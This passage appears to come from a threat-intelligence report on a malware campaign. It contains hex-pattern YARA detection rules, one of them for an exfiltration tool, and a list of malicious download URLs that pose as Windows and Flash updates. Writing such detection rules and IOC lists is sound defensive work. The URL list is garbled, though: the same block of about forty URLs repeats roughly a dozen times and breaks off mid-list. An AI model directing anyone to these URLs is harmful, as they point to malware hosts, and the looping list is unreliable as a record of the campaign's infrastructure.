{400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104041040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140006411400007411400008C114000A8114000C0114000E0114000F411400010124000281240003412400044124000541240006412400074124024000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440000541240006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815} condition: filesize >= 15KB and filesize <= 90KB and 1 of ($s*) and 3 of ($pattern*) } ``` **Exfiltration Tool** ```yara rule CRIME_Exfiltration_Tool_Oct2021 { meta: description = "Rule to detect tool used to exfiltrate data from victim systems" author = "TS @ McAfee Enterprise ATR" date = "2021-10-04" hash = "ceb0e01d96f87af0e9b61955792139f8672cf788d506c71da968ca172ebddccd" strings: $pattern1 = {79FA442F5FB140695D7ED6FC6A61F3D52F37F24B2F454960F5D4810C05D7A83D4DD8E6118ABDE2055E4DCCFE28EBA2A11E981DB403C5A47EFB6E367C7EC48C5EC2999976B5BC80F25BEF5D2703A1E4C2E3B30CD26E92570DAF1F9BD7B48B38} $pattern2 = {B4A6D4DD1BBEA16473940FC2DA103CD64579DD1A7EBDF30638A59E547B136E5AD113835B8294F53B8C3A435EB2A7F649A383AA0792DD14B9C26C1BCA348920DFD37DA3EF6260C57C546CA51925F684E91239152DC05D5161A9064434} $pattern3 = {262E476A45A14D4AFA448AF81894459F7296633644F5FD061A647C6EF1BA950FF1ED48436D1BD4976BF81EE84AE09D638BD2C2A01FA9E22D2015518280F6692EB976876C4045FADB71742B9579C13C7482A44} $pattern4 = {F2A113713CCB049AFE352DB8F99160855125E5A045C9F6AC0DCA0AB615BD34367F2CA5156DCE5CA286CCC55E37DFCDC5AAD14ED9DAB3CDB9D15BA91DD79FF96E94588F30} condition: 3 of ($pattern*) } ``` ## IOCs ### Infrastructure URLs - http://atualziarsys.serveirc.com/Update4/ - http://services5500.sytes.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/Update5/ - http://atualziarsys.serveirc.com/update4/update.exe.rar - http://suporte20082021.sytes.net/Update3/ - http://suporte01928492.redirectme.net/ - http://atualziarsys.serveirc.com/Update3/ - http://services5500.sytes.net/update8/update.exe.rar - http://suporte20082021.sytes.net/update/ - http://suporte20082021.sytes.net/Update5/Update.exe.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar - http://suporte01928492.redirectme.net/Update5/Update.exe.rar - http://services5500.sytes.net/update7/update.exe.rar - http://services5500.sytes.net/Update8/update.exe.rar - http://services5500.sytes.net/Update8/Update.bat.rar - http://suporte01092021.myftp.biz/update/ - http://services5500.sytes.net/Update7/Update.exe.rar - http://suporte01928492.redirectme.net/Update7/Update.bat.rar - http://suporte01928492.redirectme.net/Update7/Update.exe.rar - http://services5500.sytes.net/update6/update.exe.rar - http://suporte01092021.myftp.biz/ - http://services5500.sytes.net/Update6/Update.bat.rar - http://suporte01928492.redirectme.net/update6/update.exe.rar - http://suporte01928492.redirectme.net/update5/update.exe.rar - http://services5500.sytes.net/ - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://atualziarsys.serveirc.com/Update3 - http://atualziarsys.serveirc.com/update3/update.reg.rar - http://24.152.38.205/pt/flashplayer28_install.zip - http://suporte01928492.redirectme.net/Update7 - http://atualziarsys.serveirc.com/ - http://atualziarsys.serveirc.com/update3/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update7/Update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe.rar - http://suporte01928492.redirectme.net/appmonitorplugin.rar - http://atualziarsys.serveirc.com/update3/update.exe.rar - http://suporte20082021.sytes.net/ - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/Update3/Update.exe.rar - http://suporte20082021.sytes.net/Update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://atualziarsys.serveirc.com/Update4 - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - 